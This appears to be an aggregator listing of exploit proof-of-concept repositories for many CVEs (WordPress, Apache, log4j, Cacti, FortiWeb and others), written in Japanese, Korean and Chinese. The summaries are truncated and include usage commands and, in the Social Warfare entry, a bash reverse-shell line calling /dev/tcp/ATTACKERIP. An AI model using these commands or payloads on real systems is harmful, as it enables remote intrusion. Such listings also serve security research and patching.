CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Docker コンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd プロジェクトは以下のようにPythonを使用します 仮想環境を作成 python -m venv venv 仮想環境を有効化 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce

CVE-2026-8836 — lwIP SNMPv3 스택 오버플로우 PoC lwIP의 SNMPv3 USM 핸들러에서 발생하는 치명적인 스택 기반 버퍼 오버플로우인 CVE-2026-8836에 대한 개념 증명 익스플로잇입니다. 취약점 CVE : CVE-2026-8836 CVSS : 9.8 치명적 구성 요소 : snmpparseinboundframe in src/apps/snmp/snmpmsg.c 근본 원인 : snmpasn1decraw의 주석 처리된 경계 검사 및 잘못된 버퍼 크기 매개변수 버퍼 :...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 National Vulnerability Database（NVD）のCVE-2021-41773によると、Apache HTTP Server 2.4.49はパストラバーサルおよびリモートコード実行攻撃に対して脆弱です。 パストラバーサル パストラバーサル脆弱性は、パス正規化（URLパスから不要または危険な部分を削除するため）のために追加された新しいコード変更によって導入されましたが、パストラバーサル文字「ドットドットスラッシュ（../）」のさまざまなエンコーディング手法を検出するには不十分でした。...

CVE-2019-13764

CVE-2019-13764 Haboob 연구팀이 작성한 전체 익스플로잇 V8 버전 8.0.0, Linux Ubuntu 18.04에서 테스트됨 이 취약점에 대한 상세 블로그 포스트: https://blog.haboob.sa/blog/cve-2019-13764-from-root-cause-to-bash...

CVE-2022-30023

CVE-2022-30023 Tenda HG9 라우터에서의 인증된 명령 주입 사용법 root@kitploit: git clone https://github.com/Haniwa0x01/CVE-2022-30023 cd CVE-2022-30023 python exploit.py -u http://target -U "user" -P "password" 예제 root@kitploit: pc@pc-note:/CVE-2022-30023/$ python3 exploit.py -u "http://10.0.0.1" -U "admin" -P...

CVE-2020-27955

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약한 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등. Dawid Golunski 발견 https://legalhackers.com https://exploitbox.io Windows에서 테스트됨: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code...

CVE-2022-46169

CVE-2022-46169 - Cacti의 비인증 원격 코드 실행 Cacti란 무엇이며 어떤 취약점이 있나요? Cacti는 PHP, MySQL/MariaDB로 작성된 오픈소스 운영 모니터링 도구로, 사용자 친화적인 인터페이스를 제공합니다. 이 취약점은 2022년에 발견되었으며 1.2.23 이전의 모든 버전에 영향을 미칩니다. 이 버그는 RCE원격 코드 실행를 달성하기 위해 인증 우회와 명령 주입의 체인이 필요합니다. 실습 환경 구성 이 CVE 분석에서는 Docker에서 Cacti를 실행하고 VSCode를 사용하여 코드를...

Sudo-Vulnerability-Exploit-CVE-2019-14287

Sudo-Vulnerability-Exploit-CVE-2019-14287 Sudo는 거의 모든 Unix 및 Linux 기반 운영 체제에 간단한 명령으로 설치되는 가장 중요하고 강력하며 일반적으로 사용되는 유틸리티 중 하나로, 신뢰할 수 없는 것으로 밝혀졌습니다. 악의적인 사용자나 응용 프로그램이 대상 Linux 장치에서 임의의 명령을 실행할 수 있게 하는 가짜 보안 정책 우회 결함입니다. 이 오류에는 비표준 설정이 필요합니다. 즉, Linux 머신은 본질적으로 손상되어 있지 않습니다. 잘못된 사용자는 Linux 운영 체제에서...

CVE-2021-44228-demo

log4j-shell-poc 最近発見されたCVE-2021-44228脆弱性の概念実証（PoC）です。 最近、log4jに新たな脆弱性が見つかりました。log4jは、elasticsearch、minecraft、その他多数で非常に広く使用されているJavaロギングライブラリです。 このリポジトリには、脆弱なアプリケーションの例と、それに対する概念実証（POC）エクスプロイトがあります。 概念実証（POC） PoCとして、プロセスを自動化するPythonファイルがあります。 必要条件: root@kitploit: pip install -r requirements.txt...

CVE-2022-36234

CVE-2022-36234 描述 SimpleNetwork TCP Server 的 commit 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 被发现包含一个双重释放漏洞，可通过精心构造的 TCP 数据包加以利用。触发该双重释放漏洞可使客户端远程崩溃任何 SimpleNetwork TCP 服务器。在其他情况下，双重释放漏洞可能导致未定义行为，并在适当条件下可能执行代码。 复现 为确保你拥有编译该库所需的标准构建工具，请安装以下软件包（在大多数系统上这些工具通常已安装）： root@kitploit: sudo apt-get install...

FortiWeb-CVE-2025-52970-Authentication-Bypass

🚨 FortiWeb 認証バイパス → リモートコード実行 📌 概要 このリポジトリは、FortiWeb の認証バイパス を実証し、それを連鎖させて リモートコード実行 RCE を達成するものです。 このエクスプロイトは、脆弱なエンドポイントを悪用して SQL ペイロードを注入し、ウェブシェルをアップロードし、HTTP ヘッダーを介してコマンドを実行します。 ⚠️ 免責事項 : このプロジェクトは教育および研究目的のみ です。 所有していない、またはテストする明示的な許可を得ていないシステムに対して使用しないで ください。 Netlas、FOFA、Shodan root@kitploit:...

CVE-2023-39361

CVE-2023-39361 Cacti v1.2.24의 인증되지 않은 SQL 인젝션 개요 Cacti 는 PHP, MySQL/MariaDB로 작성된 오픈소스 운영 모니터링 도구로, 친숙한 인터페이스를 제공합니다. 이 취약점은 2023년에 발견되었으며, 1.2.24 이전의 모든 버전에 영향을 미칩니다. 이 보안 결함은 SQL 쿼리에 값을 삽입할 때 부적절한 구현으로 인해 발생합니다. 이는 공격자가 데이터베이스를 수정 하고 원격으로 코드를 실행 할 수 있게 하는 심각한 SQL 인젝션 취약점입니다. 실습 환경 설정: 이 분석에서는 간편...

CVE-2016-2173

CVE-2016-2173 - Spring AMQPにおけるリモートコード実行 - アプリケーションテスト 説明 org.springframework.core.serializer.DefaultDeserializer クラスは、デシリアライズされたオブジェクトをホワイトリストに対して検証しません。Chris Frohoff の Commons Collection ガジェットのような細工されたシリアライズオブジェクトを提供することで、リモートコード実行が可能になります。 影響を受けるバージョン 1.0.0 から 1.5.4 ベンダー Pivotal 社による Spring...

CVE-2023-43208-PoC

Mirth Connect RCE 익스플로잇 CVE-2023-43208 이 스크립트는 Mirth Connect 4.4.1 이전 버전의 원격 코드 실행RCE 취약점에 대한 개념 증명PoC입니다. API를 통해 XStream 역직렬화 취약점을 악용합니다. 요구 사항 Python 3.10 이상 3.13 호환 가능 대상에 대한 네트워크 연결 도구 사용법 root@kitploit: python3 CVE-2023-43208.py -u https://IP-대상 -lh 공격자-IP -lp 포트 설치 가상 환경 사용을 권장합니다:...

CVE-2023-27163-AND-Mailtrail-v0.53

자동 익스플로잇 요약 다음 익스플로잇은 Requests Baskets v1.2.1 SSRF 취약점을 악용하여 127.0.0.1:80에서 실행 중인 내부 애플리케이션을 /pwned의 외부 애플리케이션으로 전달합니다. Mailtrail v0.53 애플리케이션이 전달되면, 이에 대해 리버스 셸 명령을 실행하며 몇 초 내에 사용자는 머신에 대한 리버스 셸을 획득해야 합니다. 명령어 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT...

CVE-2024-38856-Apache-OFBiz

CVE-2024-38856 — Apache OFBiz（リポジトリドキュメント） リポジトリの目的: CVE-2024-38856（Apache OFBiz の不適切な認可 / 事前認証 RCE）に関する情報提供ドキュメント。 このリポジトリには武器化されたエクスプロイトコードは含まれていません 。防御的な調査、パッチ適用の指針、検知、および安全なラボテストのみを目的としています。 概要 CVE-2024-38856 は、Apache OFBiz...

CVE-2020-10239

HK 제작 CVE-2020-10239: comfields SQL 필드의 부적절한 접근 제어 - RCE PoC 영향을 받는 버전: Joomla 코어 3.7.0 3.9.15 사용자 요구 사항: Manager 계정백엔드 최저 권한 접근 권한 획득: Manager에서 Superadmin으로 변경한 후 RCE 트리거 Joomla에서 원격 코드 실행 RCE 자신의 자격 증명과 액세스 링크로 cve202010239.py 실행:...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...

CVE-2019-17564

CVE-2019-17564 CVE-2019-17564 : Apache Dubbo 역직렬화 원격 코드 실행...

CVE-2016-2555

CVE-2016-2555 익스플로잇 이 익스플로잇은 ATutor 2.2.1 의 SQL 인젝션 취약점 과 인증 약점 취약점 을 대상으로 합니다. 이러한 취약점을 악용하면 공격자는 악성 코드를 업로드하여 취약한 서버에서 원격 코드 실행RCE을 달성할 수 있습니다. 사용법 root@kitploit: $ python3 CVE-2016-2555.py target:port 예시: root@kitploit: $ python3 CVE-2016-2555.py 127.0.0.1:8080 기능 ATutor 2.2.1의 SQL 인젝션 취약점을...